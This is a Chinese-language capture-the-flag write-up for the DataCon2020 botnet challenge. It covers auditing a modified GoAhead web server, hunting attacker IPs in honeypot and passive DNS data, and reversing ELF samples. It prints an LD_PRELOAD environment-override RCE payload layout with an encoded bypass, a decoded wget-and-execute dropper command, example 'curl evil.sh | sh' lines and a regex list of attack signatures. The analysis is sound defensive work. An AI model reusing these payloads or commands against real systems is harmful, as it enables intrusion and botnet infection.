cdxy.me
Cyber Security / Data Science / Trading

DataCon2020 今年由于精力有限仅做了botnet方向,该方向共四题。本文为第一题的writeup。此题考察能力全面,汇集了代码审计、样本分析、数据分析等知识点,且需要选手对botnet运行机制的深入理解,贴近实战场景,个人认为是最有趣的一题,分享给各位。

本文同步发布于知乎专栏"企业安全与数据分析":https://zhuanlan.zhihu.com/p/186254809

目录

原题信息

  1. 背景
  2. 数据说明

初步理解
Botnet建模

  1. Botnet常规模型
  2. 哪些阶段会触发DNS流量?
  3. 蜜罐的攻击流量来自谁?
  4. XGoAhead是什么鬼?
  5. 传播模型

解题过程

  1. 假设
  2. 岔路排除
  3. 蜜罐HTTP数据探索
  4. 已修复的GoAhead漏洞
  5. XGoAhead源码审计
  6. RCE 初步分析
  7. RCE payload挖掘
  8. 样本逆向分析
  9. 域名访问拓扑分析
  10. 继续样本分析

总结

  1. 复盘与建议
  2. 公有云Botnet检测延伸阅读
  3. 工具
  4. 致谢

1. 原题信息

1.1 背景

Datacon Software是一家以IoT产品开发为主要业务的公司,他们在开源的GoAhead web服务器的基础上定制了一款名为XGoAhead的Web server使用在自己的产品中,2022年冬奥会的筹备工作批量采购了Datacon Software的产品。某天冬奥筹委会收到外部安全机构反馈: 公网上有大量使用XGoAhead的设备被某个不知名的僵尸网络感染,为了防范,现在你需要调查这个僵尸网络并尽可能的找到被感染的IP。

1.2 数据说明

目前提供的数据如下:

  1. XGoAhead最新版本源码
  2. 公网Web蜜罐数据
  3. Passive DNS数据

提供的XGoAhead软件代码只能运行在Linux操作系统上且须使用make工具构建,推荐使用Ubuntu 18.04或Centos 7。

提供的公网Web蜜罐数据仅为蜜罐服务器接收到的来自公网的流量,远不能覆盖整个互联网的情况,仅为观测样本。

提供的Passive DNS数据仅为小范围Client IP的数据,远不能覆盖整个互联网的情况,仅为观测样本。

2. 初步理解

题目给出的线索如下:

  • "GoAhead"是个真实的IoT web服务,代码开源。
  • 主办方基于此二次开发了一个名为"XGoAhead"的软件,已给出源码。
  • 这个软件存在漏洞,被僵尸网络攻陷。
  • 目前有一份DNS数据,一份蜜罐数据。
  • 目标是在数据中挖掘出全部被botnet攻陷的机器IP。

首先想到两个问题:

  • DNS数据可以理解为全网DNS的一个采样;HTTP数据来自蜜罐,经探索后发现全部是各种攻击流量,无正常流量,这两份数据怎么用?
  • 为何要给出源码,是否要做代码审计挖掘漏洞?

3. Botnet建模

3.1 Botnet常规模型

一般情况下,botnet分以下几部分运行:

  1. 初始入侵:如通过RCE漏洞、SSH爆破、Redis未授权访问等打入服务器。
  2. 载荷投递:server被攻陷之后,会执行黑客预定的命令从Script Server下载恶意脚本/文件并执行,如此一个正常的Server就有了botnet的功能。
  3. 中控通信:被感染的服务器会连接黑客的"中控服务器(Control & Command Server)"进行上线,并接收指令(P2P暂不考虑)。
  4. 蠕虫传播:宿主机被感染后所植入的恶意文件会自带一些攻击模块,并自动开始对内网/公网机器发起蠕虫攻击,感染更多的服务器成为botnet的一部分。
  5. 攻击:黑客或通过中控批量对botnet的节点下发指令,对某一目标发起DDoS攻击。

回答这个问题需要对僵尸网络的运行模式有一定理解。

本题目标即是使用有限的数据来hunt botnet感染者,那么我们从出题人给的线索开始建构。

3.2 哪些阶段会触发DNS流量?

如下图红色部分所示,botnet分别会在2、3、5阶段触发DNS请求:

  • 第2步:下载脚本执行时,会通过 curl http://domain.com/evil.sh | sh 触发DNS请求。
  • 第3步:bot上线时,有可能通过域名的方式连接中控。
  • 第5步:botnet有可能会发起DNS协议的DDoS攻击。

3.3 蜜罐的攻击流量来自谁?

题目中的蜜罐是真实部署在公网空间的,只能采集到很少一部分botnet的攻击流量,如下图所示:

在第1阶段黑客通过RCE漏洞批量攻击server抓鸡,和第4阶段被攻陷到bot利用RCE漏洞横向传播时,由于botnet传播是批量扫描行为,一部分HTTP攻击流量有可能被蜜罐捕获。

3.4 XGoAhead是什么鬼?

我们知道GoAhead是一个真实的IoT Web服务,并且真实的存在过RCE漏洞和botnet攻击事件:

这个"XGoAhead"是主办方的二次开发版。因此不难假设,本题蜜罐捕获的HTTP流量中,就是针对这个XGoAhead WEB RCE的攻击流量,botnet就是利用这个漏洞进行传播。

3.5 传播模型

基于以上线索,还原出的botnet传播模型如下:

首先attacker和已感染的botnet通过XGoAhead RCE进行传播,攻陷更多机器,这些机器被攻陷后在脚本下载阶段、bot上线阶段、DDoS攻击阶段触发DNS请求。

在此模型中,HTTP攻击者IP和DNS发起者IP即是本题答案。

目前我们已经将题目的三个线索串了起来,要注意的是以上每一步均是经验假设,需要一一验证。

4. 解题过程

4.1 假设

基于以上思路,对每个阶段进行数据探索并验证假设,拆分出的action有:

  1. 针对第1、4步:基于XGoAhead源码分析漏洞,提取漏洞利用特征,从honeypot HTTP流量中匹配到这部分攻击流量。
  2. 针对第5步:直接分析DNS数据挖掘是否有随机子域名DDoS或其他DNS攻击行为。
  3. 针对第2步:直接从全量HTTP流量中提取出payload中包含的域名,并与DNS数据进行关联。
  4. 针对第3步:判断直接从DNS数据中挖掘中控域名可行性较小,因此倾向于先做第1、2、4的过程,在样本或payload中分析出bot上线域名。

4.2 岔路排除

首先通过对DNS数据的分析(复用了一下去年做DNS题的代码和思路: Data2019 Writeup),逐级抽取子域名并进行统计,未发现攻击痕迹,第5步的假设排除。

之后我们通过类似Hadoop UDF的形式,从全量HTTP蜜罐数据进行URL、Base64的识别与解码,抽取出域名并关联DNS日志,未发现有效关系对。

接下来,重点回归到HTTP RCE payload的分析。

4.3 蜜罐HTTP数据探索

题目里说该IoT设备是一个 GoAhead Web Server,寻找与之相关的nday

  • https://blog.csdn.net/Amdy_amdy/article/details/82852362
  • https://www.freebuf.com/vuls/158089.html
  • https://www.dazhuanlan.com/2019/09/25/5d8a81f3b3a43/
  • https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
  • https://www.elttam.com//blog/goahead/#content

其他识别出的漏洞:

  1. D-Link路由器漏洞 https://www.cnblogs.com/HacTF/p/8052279.html
  2. D-Link DIR-823G v1.02 B05命令注入漏洞https://blog.csdn.net/zzgslh/article/details/105214670
  3. JBOSS /invoker/JMXInvokerServlet漏洞利用 https://www.cnblogs.com/devi1o/articles/5785249.html
  4. ThinkPHP5 rce漏洞 https://blog.csdn.net/whatday/article/details/107446276
  5. Narcissus远程命令执行漏洞 https://www.linuxidc.com/Linux/2012-12/75334.htm
  6. Nagios statuswml.cgi远程Shell命令注入漏洞 https://www.uedbox.com/shdb/61886/

我们发现蜜罐捕获的攻击流量很多,很多是来自互联网的扫描攻击:

-- 存在疑似漏洞的http请求
select 
    url,
    count(1) as cn
from honeypot_http_log
where 
    url not rlike 
    CONCAT(
        -- black
        "echo >NiGGeR|",
        "Account\\.User1\\.Password>\\$\\(|"
        "shell_exec\\(|",
        "busybox.*?wget.*?\\./|",
        "invokefunction&function=call_user_func_array|",
        "content=<php>|",
        "/language/Swedish\\$\\{IFS\\}|",
        "/model/__show_info\\.php\\?REQUIRE_FILE=|",
        "wget( |\\+)|",
        "/shellinvoker/shellinvoker\\.jsp|",
        "/invoker/JMXInvokerServlet|",
        "/jbossass/jbossass\\.jsp|",
        "certutil\\.exe|",
        "\\\\think\\\\template\\\\driver\\\\file/write&cacheFile|",
        "<\\?php|",
        "FxCodeShell\\.jsp|",
        "<%@|",
        "shell\\.jsp|",
        "java\\.lang\\.System|"
        -- white
        "CHANGELOG\\.txt|",
        "snapshot\\.cgi"
    )
    and LENGTH(url) >= 32
group by url
order by cn desc limit 99999999
;

4.4 已修复的GoAhead漏洞

而后我们关注到GoAhead在2017年的真实漏洞,它的攻击payload如下:

method: POST 
uri: cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 
post data:  \x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00...

POST data字段是一个ELF文件,cgi接口会从url中解析并覆盖环境变量,因此在data段中的ELF文件会被/proc/self/fd/0读取,并覆盖LD_PRELOAD完成RCE利用。

我们从蜜罐日志中发现了这种漏洞利用的流量,捞出攻击者IP,提交并未得分。

打开主办方提供的XGoAhead源码,将其于原版GoAhead代码进行diff,看看主办方二次开发修改了哪里。

4.5 XGoAhead源码审计

按照传统的代码审计思路,找到WEB路由解析逻辑,我们看到HTTP蜜罐捕获的数据是攻击了/cgi-bin路径,其handler是cgi,同时发现主办方定义了一个新的route path: /xcgi,由另一个handler xcgi实现。

跟进cgi handler,发现官方原版有一个patch,主办方并未修改,因此确认17年这个RCE已经无法利用:

而在主办方实现的xcgi handler中,针对这个问题他自己实现了另一种patch逻辑:

这里的问题是 wp->query 仅过滤了URI字段,从其他位置如POST data传入的环境变量信息仍可被覆盖。

4.6 RCE 初步分析

我们搭建换件验证了这一思路:

编译源码
make
make --no-print-directory -f /root/xgoahead/projects/xgoahead-linux-default.mk all
xgoahead -v --home /etc/xgoahead /var/www/xgoahead

在URI字段打2017 RCE,发现回显被block,之后尝试通过POST data字段覆盖环境变量

成功覆盖:

但是有一个问题是,如果用post来传递环境变量参数,post就不能用来传递ELF文件的二进制流了。如何构造RCE payload仍是一个问题。

4.7 RCE payload挖掘

目前已知了漏洞的利用方式,即可以通过post字段继续覆盖环境变量,我们打算根据已有特征到数据中搜索可行的payload,特征有三:

  1. payload中包含Linux环境变量。
  2. 报文中有可能出现ELF二进制流。
  3. 源码中存在漏洞的路由为/xcgi。

通过where条件搜索,首先排除了第三项,即HTTP流量中没有这个URI的访问记录,推测管理员在部署的时候自定义了route路径。

继续验证方向1,在全量HTTP报文中搜索Linux环境变量,正则:

where concat(uri,host,post_data) rlike '\\b[A-Z_]{7,}\\b'

结果人工check后无有效payload。

继续验证方向2:在全量HTTP报文中搜索ELF二进制流:

发现除了2017 GoAhead RCE之外,还有一类流量中出现这个特征,其报文如下:

URI: admin/login.cgi

POST Data:
----------------------------70089496549461931699051
Content-Disposition: form-data; name="f"; filename="2.elf"
Content-Type: application/octet-stream

\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00...
----------------------------700894965494619316990515
Content-Disposition: form-data; name="%4cD%5f%50%52E%4c%4f%41D"

tmp/tmp-0.tmp tmp/tmp-1.tmp tmp/tmp-2.tmp....
----------------------------700894965494619316990515--

通过人工分析发现,postdata字段同时出现 ELF 和 被编码字符串 name="%4cD%5f%50%52E%4c%4f%41D"

定睛一看,这就是LD_PRELOAD。这个编码着实狡猾,绕过了之前的规则,这也提醒了做题还是要细心,先解码再匹配。

提交攻击IP,验证成功。

4.8 样本逆向分析

目前我们已经确定XGoAhead到漏洞利用方式,并于蜜罐流量中捞出了攻击者IP。

接下来,分析他上传的ELF有什么行为,我们打开那个十几万的女人开始分析:

需要关注的函数在这里:

g_enc_table是一个数组,有3个元素,分别是:

  • Here!
  • \xC5\xC6\x82\x91\xD6\xCF\xD2\x9D\xD9\xC9\xC7\xD6\x82\xCA\xD6\xD6\xD2\x9C\x91\x91\xC7\xDA\xC7\xC5\x90\xC6\xD6\xC6\xD6\xC6\xD6\x90\xCB\xD0\xC8\xD1\x91\xC6\x90\xD5\xCA\x9D\xC5\xCA\xCF\xD1\xC6\x82\x99\x99\x99\x82\xC6\x90\xD5\xCA\x9D\x90\x91\xC6\x90\xD5\xCA
  • \xAE\xA6\xC1\xB2\xB4\xA7\xAE\xB1\xA3\xA6

我们将解密函数用python实现并解密后两个数据:

# -*- coding: utf-8 -*-


g_enc_table_1 = "\xC5\xC6\x82\x91\xD6\xCF\xD2\x9D\xD9\xC9\xC7\xD6\x82\xCA\xD6\xD6\xD2\x9C\x91\x91\xC7\xDA\xC7\xC5\x90\xC6\xD6\xC6\xD6\xC6\xD6\x90\xCB\xD0\xC8\xD1\x91\xC6\x90\xD5\xCA\x9D\xC5\xCA\xCF\xD1\xC6\x82\x99\x99\x99\x82\xC6\x90\xD5\xCA\x9D\x90\x91\xC6\x90\xD5\xCA"
g_enc_table_2 = "\xAE\xA6\xC1\xB2\xB4\xA7\xAE\xB1\xA3\xA6"


def sub_5C4(input_str):
    str = ""
    for c in input_str:
        str += chr(ord(c) - 98)

    return str

if __name__ == '__main__':
    print sub_5C4(g_enc_table_1)
    print sub_5C4(g_enc_table_2)

解码后分别为:

cd /tmp;wget http://exec.dtdtdt.info/d.sh;chmod 777 d.sh;./d.sh
LD_PRELOAD

发现域名,在DNS数据中查询exec.dtdtdt.info,命中答案。

但是分数并未拿完。

4.9 域名访问拓扑分析

目前发现了一些攻击者IP和一个答案域名,我们已经验证了一些思路:

  • 1和4 的漏洞利用流量已成功确认。
  • 2的脚本投递,已发现恶意域名确认。
  • 5经数据分析验证,已排除。

目前只剩下3待验证,我们假设被感染的机器会同时执行2下载 和 3上线的行为,那么我们只需要通过2中得到的botnet IP,看看他们都共同连了什么域名,就可以找到3的C&C上线域名。

数据分析的结果揭示了exec.dtdtdt.info的另一兄弟域名 control.dtdtdt.info,届此,五个阶段全部验证完毕。

4.10 继续样本分析

我们已经验证了全部的假设,使用了全部的线索,但距离满分还差一段。

进度一度停滞。

直到另一个同学通过同样的思路分析ELF样本时,发现逆出来的上线域名竟然与之前的结论不一致!

在我们蜜罐HTTP数据分析过程中,我们发现每个攻击IP打出了多个payload,而每个payload里面上传的文件分别为 1.elf 2.elf 3.elf 4.elf

当时提取了四种name的elf本地发现byte大小一致,以为是一样的就只分析了一个。

md5一看,果然还是草率了。

xy@x-8 ~/D/datacon> md5 elf_1
MD5 (elf_1) = d08b638fdafac0c1ebbdcad05d5c2fcb
xy@x-8 ~/D/datacon> md5 elf_2
MD5 (elf_2) = 56ec8709c083963e208faec59d2b41e1
xy@x-8 ~/D/datacon> md5 elf_3
MD5 (elf_3) = 7006ae30aedeb0e423a86cb50914d45c
xy@x-8 ~/D/datacon> md5 elf_4
MD5 (elf_4) = 695da36ee841a57df84a473cb821710e

把4个样本重新逆了一遍,又发现另一个域名kfckiller.cc

最终三个域名如下,洗出访问他们的IP,再加上蜜罐HTTP payload攻击源IP共40个,为最终满分答案。

select * from passive_dns_data
where dns in (
    "exec.kfckiller.cc",
    "exec.dtdtdt.info",
    "control.dtdtdt.info"
)  
;

5. 总结

5.1 复盘与建议

  • 真实解题过程要比writeup复杂的多,有很多岔路验证后被排除。
  • 说好的数据分析,最后变成了代码审计和二进制分析哈。不过数据上的事也没少做,主要是用来排除错误的假设。
  • 对botnet的理解更重要,其实但从Mirai模型已经能对此题建模。
  • 再加个attack阶段啊这题就完整了,DNS Flood!

总之是非常有趣的一题。

5.2 公有云Botnet检测延伸阅读

在云服务商视角,我们观测到的botnet中大部分省略了4和5的过程,server被RCE漏洞攻破后,大部分通过执行 curl http://evil.com/1.sh | sh 的指令下发恶意脚本,脚本通过运行挖矿程序进行变现。

我们对云上资产有完善的EDR产品和WAF/防火墙产品,这些产品提供了完整的端日志和流量日志,大体工作流程如下:

基于这些日志和长期安全能力的建设,在云服务器被botnet感染时,我们有多个视角可以检测到这种行为,包括但不限于:

我们今年在BlackHat Asia中将会提到与Botnet博弈过程中的自动化0day监控技术:

回到本题,题中只提供了蜜罐HTTP数据和DNS数据,在有限的条件下做hunting,在做题的过程中管中窥豹地体验了奇安信式蜜罐+DNS的hunting模式,加深了对botnet的理解(对360netlab blog的理解)。

5.3 工具

本次题目分析所用工具及服务:

  • 大数据批处理:ODPS(MaxCompute)
  • 大数据实时查询分析:日志服务(Loghub)
  • 算法平台与数据分析流式编排:机器学习平台(PAI)
  • IDA
  • Python

5.4 致谢

  • @fullway